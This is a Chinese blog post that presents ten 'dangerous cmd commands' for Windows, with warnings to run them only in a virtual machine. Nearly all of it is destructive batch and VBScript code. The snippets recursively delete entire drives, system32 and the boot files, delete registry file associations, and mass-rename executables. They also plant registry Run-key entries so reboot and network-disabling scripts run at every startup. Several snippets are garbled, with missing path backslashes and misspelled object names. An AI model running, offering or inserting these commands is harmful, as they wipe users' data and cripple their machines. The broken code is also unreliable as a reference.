(原创)十大危险cmd命令代码总结

前情提要:

这些cmd代码很危险!既不可以在自己电脑上运行,也不可以在别人的电脑上运行!如果真的要运行的,在虚拟机里面看看是什么情况就可以了,一定不要在主机运行!

1.更改文件后缀

REN *.RTF *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.EXE *.TXT

2.格式化磁盘

rd/s/q C:\
rd/s/q D:\
rd/s/q E:\
rd/s/q F:\
rd/s/q G:\

3.永恒的回车

set wshshell =wscript.createobject<"wscript.shell">
do
wscript.sleep 100
wshshell.sendkeys"~"
loop

4.刚开机就立刻关机

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE

5.死亡蓝屏

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

6.删除重要文件

del /s /f /q C:\windows\system32

7.CD蜂鸣器

Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
End lf
wscript.sleep 100
Loop

8.禁用网络

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
PAUSE

9.计算机永久崩溃

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

10.删除所有注册表

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

再三强调:一定不要在主机运行!否则后果自负!

运行了就再买一台电脑吧!

你可能感兴趣的:(C++程序,windows,cmd,操作系统)